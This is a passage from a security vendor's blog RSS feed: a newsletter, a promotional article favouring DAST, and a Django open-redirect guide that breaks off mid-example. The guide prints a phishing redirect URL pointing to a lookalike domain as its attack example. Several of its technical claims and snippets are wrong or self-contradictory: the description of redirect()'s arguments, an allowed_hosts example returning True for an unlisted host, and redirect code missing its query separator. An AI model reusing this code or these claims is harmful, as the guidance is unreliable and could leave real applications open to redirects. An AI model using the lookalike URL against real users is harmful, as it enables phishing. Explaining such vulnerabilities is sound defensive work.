and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[October Newsletter: Updated App Creation, StackHawk + Snyk Webinar, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/october-newsletter-updated-app-creation-stackhawk-snyk-webinar-and-more</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Get Scanning Faster with Updated App Creation&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Thanks to a re-imagined app creation process it is easier to configure a scan in StackHawk. Users can now specify what type of app they are scanning – like a static site, a dynamic site/SPA, or an API. If applicable, users can also provide a file path or URL for their API documentation. &lt;/p&gt;&lt;p&gt;With these details, we will provide a custom YAML for your app with all the right options configured and you can get scanning with a single `docker-run` command.&lt;/p&gt;&lt;p&gt;Give the new app creation flow a go with one of our intentionally vulnerable apps.&lt;/p&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign Up Now&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://github.com/orgs/kaakaww/repositories&quot;&gt;&lt;u&gt;Test App Library&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;h2&gt;StackHawk + Snyk = Automated AppSec in Action&lt;/h2&gt;&lt;p&gt;StackHawk and Snyk are joining forces for a new webinar. This session will dive into why application security testing should be automated, the shift to developer-centric security, and how to implement automated static and dynamic security testing across your CI/CD pipeline. &lt;/p&gt;&lt;p&gt;The webinar is slated for Tuesday, November 2 at 7:30am PT / 10:30am ET. See you there!&lt;/p&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.sans.org/webcasts/the-developer-centric-security-experience-how-modern-appsec-accelerates-remediation-time/?source=stackhawk1&quot;&gt;&lt;u&gt;Save Your Spot&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;h2&gt;Why We ❤️ DAST&lt;/h2&gt;&lt;p&gt;StackHawk is DAST (dynamic application security testing) reimagined for today’s engineering teams, with features that alert engineers of potential vulnerabilities on the pull request and enable them to push fixes quickly. &lt;/p&gt;&lt;p&gt;Whether you are an engineering team looking to roll out application security testing or a seasoned application security expert looking to improve your test suite, learn why we love DAST here at StackHawk.&lt;/p&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/why-dast-should-be-your-first-application-security-priority/&quot;&gt;&lt;u&gt;Why DAST&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=_2U2h7NQPkk&quot;&gt;StackHawk + Semgrep Webinar: What&amp;#39;s New with SAST + DAST&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/z2r4xGMQlys&quot;&gt;ZAP Deep Dive: Active Scanning&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/_tBugEDPwpo&quot;&gt;StackHawk is Now Integrated with GitHub Code Scanning&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/why-dast-should-be-your-first-application-security-priority/&quot;&gt;Rethinking DAST&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-sql-injection-guide-examples-and-prevention/&quot;&gt;Kotlin SQL Injection Guide: Examples and Prevention&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/vue-content-security-policy-guide-what-it-is-and-how-to-enable-it/&quot;&gt;Vue Content Security Policy Guide: What It Is and How to Enable It&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;November 2: &lt;a href=&quot;https://www.sans.org/webcasts/the-developer-centric-security-experience-how-modern-appsec-accelerates-remediation-time/?source=stackhawk1&quot;&gt;StackHawk + Snyk Automated Application Security Webinar&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;November 4: &lt;a href=&quot;https://webinars.devops.com/the-state-of-devsecops-application-security&quot;&gt;The State of DevSecOps: Application Security Webinar&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;November 18-19: &lt;a href=&quot;https://testjssummit.com/&quot;&gt;TestJS Summit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Nov 29 - Dec 3: &lt;a href=&quot;https://reinvent.awsevents.com/&quot;&gt;AWS re:Invent&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼 &lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Software Engineer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Marketing&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Testing with StackHawk at DevOps Experience 2021]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-testing-with-stackhawk-at-devops-experience-2021</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;This week, I attended DevOps Experience – an event StackHawk sponsored that was focused on the idea of digital transformation. There, I had the opportunity to speak about automated application security testing with StackHawk. &lt;/p&gt;&lt;p&gt;Watch the recording to learn about how to shift application security testing left, the tools that can help you test modern applications, and some of the most common misnomers with dynamic application security testing (DAST). &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://player.vimeo.com/video/635394994?&quot;&gt;&lt;b&gt;Watch it here&lt;/b&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why DAST Should Be Your First Application Security Priority]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/why-dast-should-be-your-first-application-security-priority</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;There are three standard tools in a security leader’s arsenal for tackling application security testing  – Dynamic Application Security Testing (DAST), Static Application Security Testing (SAST), and Software Composition Analysis (SCA). &lt;/p&gt;&lt;p&gt;One of the conversations we come across often here at StackHawk is, “Which tool should I start with?” This is true for organizations of all sizes  –  from those just beginning to build out their AppSec program to those working on retooling their current approach to be more developer friendly. &lt;/p&gt;&lt;p&gt;While a comprehensive security program will have all three in place, we are big believers that &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;DAST&lt;/u&gt;&lt;/a&gt; is the best place to start an application security journey. &lt;/p&gt;&lt;p&gt;Ready on to see why teams can get the most out of a tool by starting with DAST. &lt;/p&gt;&lt;h2&gt;Why We ❤️ DAST&lt;/h2&gt;&lt;p&gt;Of the three security tooling types available, teams can see the greatest return on investment by implementing DAST. There are a few reasons for this: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DAST simulates how bad actors access your applications. &lt;/b&gt;The types of attacks that a DAST scan can find simulate a bad actor attempting to steal or manipulate sensitive data, deface a website, or plant malware on the site. If you are implementing a tool to protect yourself from external threats, DAST is the best option.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DAST tests the running application. &lt;/b&gt;Neither SAST nor SCA have the proper context of how the application being tested actually works. Because DAST is testing the running application with bad inputs to see how it behaves, users get more accurate results.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DAST finds vulnerabilities that your team is writing. &lt;/b&gt;While testing open source libraries is important, &lt;u&gt;69.1% of companies have more vulnerabilities&lt;/u&gt; from their own application development vs. the use of open source. This means your first consideration when it comes to security testing should be the code your team is writing with a tool like DAST, not the libraries you are using. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Where DAST Has Historically Fallen Short&lt;/h3&gt;&lt;p&gt;That being said, DAST has not always been a user-friendly tool. Historically it came with operational hurdles that made it a tool that frustrated both security and developers. &lt;/p&gt;&lt;p&gt;Until recently, DAST had the following struggles:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Difficult to automate&lt;/b&gt;. DAST was typically used by penetration testers to run manual audits that could take days or weeks. Until recently there have not been good options for fitting DAST into the modern development workflow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Testing the front end in prod. &lt;/b&gt;Because DAST was difficult to automate, that meant security teams and pen testers were testing the application in production. One of the biggest hurdles with this approach is that it only tests an app’s front end. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Coverage for microservices and modern apps.&lt;/b&gt; DAST technologies were created at a time when application architectures were much simpler. Unfortunately that means for today’s teams that are building microservices architectures with backing APIs, there is no good way to test these individual components for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Difficult to take action on findings. &lt;/b&gt;Perhaps the most frustrating part of DAST is that it only tells teams that certain vulnerabilities exist versus pointing to the exact line of code causing the vulnerability. The frustration from this issue is compounded by the first two items on this list. By the time vulnerabilities are found and shared back with developers, it may be weeks or months since they worked on the code that was tested. They have moved on and forgotten about that particular portion of the application they were working on, and as a result, the fix requires mental backtracking. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;How StackHawk Is Different&lt;/h3&gt;&lt;p&gt;When we started StackHawk, we were well aware of the typical challenges of DAST. So we created a DAST tool that was easy to deploy, &lt;a href=&quot;https://www.stackhawk.com/solutions/devsecops/&quot;&gt;&lt;u&gt;easy to automate in CI/CD&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/solutions/api-security-testing/&quot;&gt;&lt;u&gt;provided complete coverage for APIs&lt;/u&gt;&lt;/a&gt;, and had &lt;a href=&quot;https://www.stackhawk.com/solutions/developer-centric-application-security/&quot;&gt;&lt;u&gt;developer-friendly features&lt;/u&gt;&lt;/a&gt; that equipped engineers to fix vulnerabilities immediately.&lt;/p&gt;&lt;p&gt;If you are hesitant to try DAST because you have been burned by other tools before, give StackHawk &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;&lt;u&gt;a try for free&lt;/u&gt;&lt;/a&gt; and see what you think. &lt;/p&gt;&lt;p&gt;But enough about us, let&amp;#39;s get back to the other types of tools available.&lt;/p&gt;&lt;h2&gt;Why Teams Like SAST&lt;/h2&gt;&lt;p&gt;If you are trying to find vulnerabilities in the code your team is writing, the alternative to DAST is SAST. SAST works by analyzing an app’s source code and looking for vulnerabilities in the code as it is written. &lt;/p&gt;&lt;p&gt;By analyzing the source code instead of the running app, users are able to get broad coverage, even if that code is difficult to execute programmatically. Additionally, a SAST scan can be done relatively quickly because the scanner is not interacting with a live app instance. &lt;/p&gt;&lt;p&gt;Perhaps the most loved feature of SAST is that it pinpoints to the exact line of code causing the vulnerability. &lt;/p&gt;&lt;h3&gt;DAST vs SAST&lt;/h3&gt;&lt;p&gt;At StackHawk, we prefer using DAST as the foundation of an application security program over SAST. We are obviously biased, but we think the quality of results from a DAST scan are of higher quality and better protect team from vulnerabilities making it into the wild. &lt;/p&gt;&lt;p&gt;The benefits of DAST over SAST we see the most are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DAST is much less prone to false positives.&lt;/b&gt; If DAST finds a security bug in the application, it almost certainly exists. By producing less false positives, security teams can spend less time validating if findings actually exist, and developers can get a more focused testing experience.
&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DAST can handle complex application architectures. &lt;/b&gt;SAST has difficulty finding vulnerabilities when an app has multiple layers (e.g., proxies, middleware) or is composed of microservices. If we were building apps in 2004, this wouldn’t be a problem. But if your team is building modern apps, SAST may not be your best option.
&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SAST is language dependent.&lt;/b&gt; If you are writing an app in C++ or python, this is likely not going to be a problem for you. But, if you are writing an app in Kotlin, Rust, or any newer language, you are likely going to be short on SAST options for your shiny new app. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;DAST + SAST&lt;/h2&gt;&lt;p&gt;While both DAST and SAST have their drawbacks when used individually, combining the tools together can make security testing more efficient. By leveraging DAST and SAST offerings that correlate findings from DAST with the line of code causing the vulnerability as reported by SAST, teams can eliminate noise and streamline fixes. 

Using these two tools together, teams can: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prioritize Findings. &lt;/b&gt;DAST and SAST testing works together to identify the high-priority, exploitable security issues in your code. No more manual correlation across tools, and no other software required.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Accelerate Fixes. &lt;/b&gt;Quickly identify where the issue exists in your codebase, down to a single line of code. Developers can take action on a finding without extensive research or time wasted trying to identify where it lives in the codebase.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Drive Efficiency. &lt;/b&gt;Eliminate context switching across tools and give your team a comprehensive understanding of application and API security issues with a single look. Save time and keep your developers focused on software delivery.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We of course are biased, but we think our &lt;a href=&quot;https://stackhawk.com/snyk&quot;&gt;integration with Snyk Code &lt;/a&gt;provides teams with a best-in-class way to make security testing part of the developer workflow.&lt;/p&gt;&lt;h2&gt;Why Teams Like SCA&lt;/h2&gt;&lt;p&gt;Software Composition Analysis, or SCA, is another type of security testing tool that finds vulnerabilities in open source components that your team is using.&lt;/p&gt;&lt;p&gt;Teams like using SCA because it is quick to run and provides broad coverage. SCA is also a newer class of tool that is built to enable developers to remediate vulnerabilities before production. &lt;/p&gt;&lt;p&gt;Most SCA tools integrate with major CI/CD providers, run a scan at the PR, and provide a summary of actionable findings to developers if the application contains any vulnerable dependencies. The tools provide guidance on how to remediate vulnerabilities (most often by updating the version being used), and developers can get back to building features. &lt;/p&gt;&lt;p&gt;If you are working on a new project, it is really simple to update versions of open source components without breaking changes. For legacy projects, this can be much trickier, but still worth the effort. &lt;/p&gt;&lt;h3&gt;DAST vs SCA&lt;/h3&gt;&lt;p&gt;As we mentioned above, most companies have more vulnerabilities from their own application development as compared to open source components. This means your first consideration when it comes to security testing should be the code your team is writing, not the libraries you are using. &lt;/p&gt;&lt;p&gt;DAST and SCA are not substitutes for one another. If your team is looking to prioritize a rollout between tools, our recommendation is DAST first, so that you can be sure the code your team is writing is secure.&lt;/p&gt;&lt;p&gt;That being said, open source code is pervasive. &lt;a href=&quot;https://www.forrester.com/report/the-state-of-application-security-2021/RES164041?objectid=RES164041&quot;&gt;&lt;u&gt;Almost 99% of audited codebases&lt;/u&gt;&lt;/a&gt; contain some amount of open source, and the average percentage of open source in those code bases has almost doubled — from 36% in 2015 to 70% in 2019. &lt;/p&gt;&lt;p&gt;Your work is not done after securing your own code base and SCA is a great follow-up tool to add to your pipeline. &lt;/p&gt;&lt;p&gt;There are great benefits to using DAST and SCA together. Where DAST can find a vulnerability in a running application, SCA can help you validate that finding and pinpoint where it lives in an open source library while providing quick remediation guidance which is typically a version upgrade. &lt;/p&gt;&lt;p&gt;You can see an example of that in action in &lt;a href=&quot;https://youtu.be/l1zaZgMQIKc&quot;&gt;&lt;u&gt;our joint webinar with Snyk&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Get Going with DAST&lt;/h2&gt;&lt;p&gt;Implementing new security tooling in any organization is a big decision. It is important that you think through what types of vulnerability protection you are looking for, who will be involved in testing, and how the tool fits into existing workflows. &lt;/p&gt;&lt;p&gt;Based on how you answer those questions you can determine if DAST is the best place to begin, which we strongly believe is the case for most teams. &lt;/p&gt;&lt;p&gt;Teams that are implementing StackHawk in their pipelines are seeing operational gains in their security team, protecting their APIs from vulnerabilities, and reducing risk across their organizations. &lt;/p&gt;&lt;p&gt;You can &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;&lt;u&gt;set up a StackHawk account&lt;/u&gt;&lt;/a&gt; and get scanning for free today. Teams are able to get from account sign-up to a completed scan in CI/CD in 20 minutes. So give it a go, and feel free to &lt;a href=&quot;mailto:hello@stackhawk.com&quot;&gt;&lt;u&gt;drop us a line&lt;/u&gt;&lt;/a&gt; if you run into any hurdles.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;A modern web application usually comprises of a number of different components, each of which is responsible for a specific task. Similarly, it may use a combination of third-party services to handle various tasks: authentication, payment processing, and so on. In as much as this facilitates a simpler and more modular approach to the web application, it also makes the app easier to maintain and to extend.&lt;/p&gt;&lt;p&gt;This necessitates the use of redirects to outbound services or internally to other URLs. Redirects in web development refer to taking users and search engines to a different URL from the one requested. Redirects usually refer to external resources or paths. Internal redirects are usually labelled URL forwarding. Open redirect vulnerabilities occur when the destination URL isn&amp;#39;t validated against a set of well-defined redirect patterns.&lt;/p&gt;&lt;p&gt;In this post we&amp;#39;ll go through examples of Django open redirects, how to fix them, and prevention. &lt;/p&gt;&lt;h2&gt;Audience and Prerequisites&lt;/h2&gt;&lt;p&gt;This post focuses on web developers, both full-stack and back-end developers. Here, we&amp;#39;ll go through redirects in Django and aim to keep your web application safe for your users. &lt;/p&gt;&lt;p&gt;In order to properly understand the code and explanations, you&amp;#39;re advised to have the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A high-level understanding of python3 (preferably versions 3.7 and above)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Working knowledge of the structure of a Django application&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Overview understanding of status codes&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Overview of Page Redirects in Django&lt;/h2&gt;&lt;p&gt;Before we get into open redirects, let&amp;#39;s do a quick overview of how to handle redirects in the Django web framework. &lt;/p&gt;&lt;p&gt;Django handles redirects by returning an instance of &lt;b&gt;HttpResponsePermanentRedirect&lt;/b&gt; or &lt;b&gt;HttpResponseRedirect &lt;/b&gt;subclasses. The easiest way to achieve this is using the &lt;b&gt;redirect() &lt;/b&gt;function from the &lt;b&gt;django.shortcuts&lt;/b&gt; module.&lt;/p&gt;&lt;h3&gt;Redirect Function&lt;/h3&gt;&lt;p&gt;The redirect function takes more than just views; it can take a number of arguments. The first argument is the URL we want to redirect to. The second argument is the status code. The default status code is 302. The third argument is the message to be displayed. The default message is &amp;quot;Found.&amp;quot; &lt;/p&gt;&lt;p&gt;We can redirect to models and pass a dictionary of arguments to the redirect function. This is useful if we want to pass a query string to the redirect URL. You can also create a permanent redirect by passing the &lt;b&gt;permanent=True&lt;/b&gt; argument to the redirect function. &lt;/p&gt;&lt;h3&gt;Redirect Loop&lt;/h3&gt;&lt;p&gt;When writing redirects, it&amp;#39;s common to unknowingly cause an infinite loop. To clarify, this is a situation where URLs are calling each other and the server keeps redirecting, causing an error: too many redirects.&lt;/p&gt;&lt;h3&gt;Permanent Redirects&lt;/h3&gt;&lt;p&gt;As mentioned above, we can additionally specify a redirect to be permanent. Firstly, we need to clarify how browsers interpret permanent redirects. Once a browser receives a permanent redirect response for a URL, it will, consequently, infinitely cache this response and, conversely, load it faster without having to check the server.&lt;/p&gt;&lt;p&gt;In essence this should be a good thing. However, there are drawbacks. In particular, permanent redirects are just that: permanent. With this in mind, if there are any changes in the future to the URLs, it would undoubtedly be difficult to change a permanent redirect. To put it another way, always use temporary redirects.&lt;/p&gt;&lt;h2&gt;Open Redirects in Django&lt;/h2&gt;&lt;p&gt;In general, the redirect function will take care of your redirect needs. However, for some advanced use cases, you may need to handle user input—for example, if you want to redirect to a page that requires user input.&lt;/p&gt;&lt;p&gt;There are valid reasons for accepting user input like a URL parameter, which is passed to the redirect function. In this case, failure to validate the URL parameter will result in an open redirect. Below we dive into a sample example of an open redirect, solutions, and prevention.&lt;/p&gt;&lt;h2&gt;Examples of Open Redirects in Django&lt;/h2&gt;&lt;p&gt;Now, let&amp;#39;s take a look at examples of open redirects in Django. Currently, the latest version of Django as of the time of writing is 3.2. We&amp;#39;ll use that in the code snippets throughout the article unless stated otherwise. &lt;/p&gt;&lt;h3&gt;Accepting Parameters in Redirects&lt;/h3&gt;&lt;p&gt;When developing a web application, we often need to pass parameters to the redirect URL. For example, we might want to redirect to a view that displays a specific product. We can do this by passing a dictionary of arguments to the redirect function. Similarly, we can redirect to a view that displays a specific product by passing the product ID to the redirect function. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example. Our view will accept the product ID as an argument and display the product. We can do this by passing the product ID to the redirect function, as shown below:&lt;/p&gt;&lt;p&gt;&lt;code&gt;# views.py&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;from urllib.parse import urlencode&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;def product_redirect(request):
base_url = &amp;quot;/product/&amp;quot;
url_params = { &amp;quot;product&amp;quot;: 1}
encoded_url = base_url + &amp;quot;?&amp;quot; + urlencode(url_params)
encoded_params = urlencode(url_params)
return redirect(&amp;quot;{}{}&amp;quot;.format(base_url, encoded_params))&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;def product_view(request):
return HttpResponse(f&amp;quot;&amp;lt;h1&amp;gt; Product 1 &amp;lt;/h1&amp;gt;&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The code above imports the &lt;b&gt;urlencode()&lt;/b&gt; function from the &lt;b&gt;urllib.parse&lt;/b&gt; module and uses it to encode the URL parameters. We can now access the product ID in the URL by accessing the &lt;b&gt;?product=1&lt;/b&gt; query string. &lt;/p&gt;&lt;p&gt;We specify the base URL and the encoded URL parameters in the redirect function. We can now access the product ID in the URL by accessing the &lt;b&gt;?product=1 &lt;/b&gt;query string. Lastly, we then proceed to create a view that displays the product. 
&lt;/p&gt;&lt;h3&gt;Unvalidated Redirects&lt;/h3&gt;&lt;p&gt;By accepting user input in the redirect URL, we can potentially allow an attacker to redirect to any URL on the web. This refers to an open redirect. &lt;/p&gt;&lt;p&gt;There definitely are some valid reasons as to why redirects would not be validated. For instance, we can redirect to a view that displays a specific product by passing the product ID to the redirect function, as shown above. Without validation of the redirect URL, an attacker can redirect to any URL on the web. And this could be a malicious website, where they can execute any number of attacks. Let&amp;#39;s look at an example. 
&lt;/p&gt;&lt;p&gt;Instead of the correct URL redirecting after registration: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://myastoreapp.com/register/?next=/user/&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The user is redirected to a potentially malicious website: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://mystoreapp.com/login/?next=https://mystoreapp.co/user/&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice the subtle difference in the URL. The user is redirected to a different website. In this situation, most people won&amp;#39;t notice the full URL being changed, thus opening the door on phishing attacks.&lt;/p&gt;&lt;h2&gt;Open Redirect Fixes in Django&lt;/h2&gt;&lt;p&gt;The simplest solution is to not accept user input in the redirect URL. &lt;/p&gt;&lt;p&gt;Another fix is to validate the redirect URL. We can do this by adding a &lt;b&gt;validate_redirect_url()&lt;/b&gt; function to the &lt;b&gt;django.http.request&lt;/b&gt; module. This is markedly crucial for not only URLs but any user input you accept from users. This includes forms. &lt;/p&gt;&lt;p&gt;Django has sane defaults when it comes to validating redirects. For example, the &lt;b&gt;next&lt;/b&gt; parameter passes through validation. However, you can integrate &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;, a top-tier security tool to find and fix vulnerabilities, including open redirects, in your code quicker.&lt;/p&gt;&lt;h2&gt;Prevention of Open Redirects in Django&lt;/h2&gt;&lt;p&gt;If you cannot ascertain the safety of a URL, Django provides a handy &lt;b&gt;is_safe_url(&lt;/b&gt;) function from the &lt;b&gt;django.utils&lt;/b&gt; module. This function takes the URL as an argument and returns a Boolean value. If the URL is safe, it returns a True value. If the URL is not safe, it returns as False. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here are some examples of safe URLs: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;This returns True for safe redirects and points to the same host and scheme.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; # Import the function first.
&amp;gt;&amp;gt;&amp;gt; from django.utils.http import is_safe_url
&amp;gt;&amp;gt;&amp;gt; is_safe_url(&amp;#39;/user/&amp;#39;)
True&lt;/code&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;If &lt;b&gt;require_https&lt;/b&gt; is set to True, it returns True for safe redirects, points to the same host and scheme, and uses HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; is_safe_url(&amp;#39;https://myastoreapp.com/product/1&amp;#39;, require_https=True)
True&lt;/code&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A URL is considered safe if it references an external URL specified in &lt;b&gt;_allowed_hosts_:&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; is_safe_url(&amp;#39;https://django.com/user/&amp;#39;, allowed_hosts={&amp;#39;myawesomedjangowebapp.com&amp;#39;})
True&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Here are some examples of unsafe URLs: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;URLs that point to a different host return False.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; is_safe_url(&amp;#39;https://django.com/profile/&amp;#39;)
False&lt;/code&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;If &lt;b&gt;require_https&lt;/b&gt; is set to True, URLs that use HTTP are not considered safe.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; is_safe_url(&amp;#39;http://django.com/profile/&amp;#39;, require_https=True)
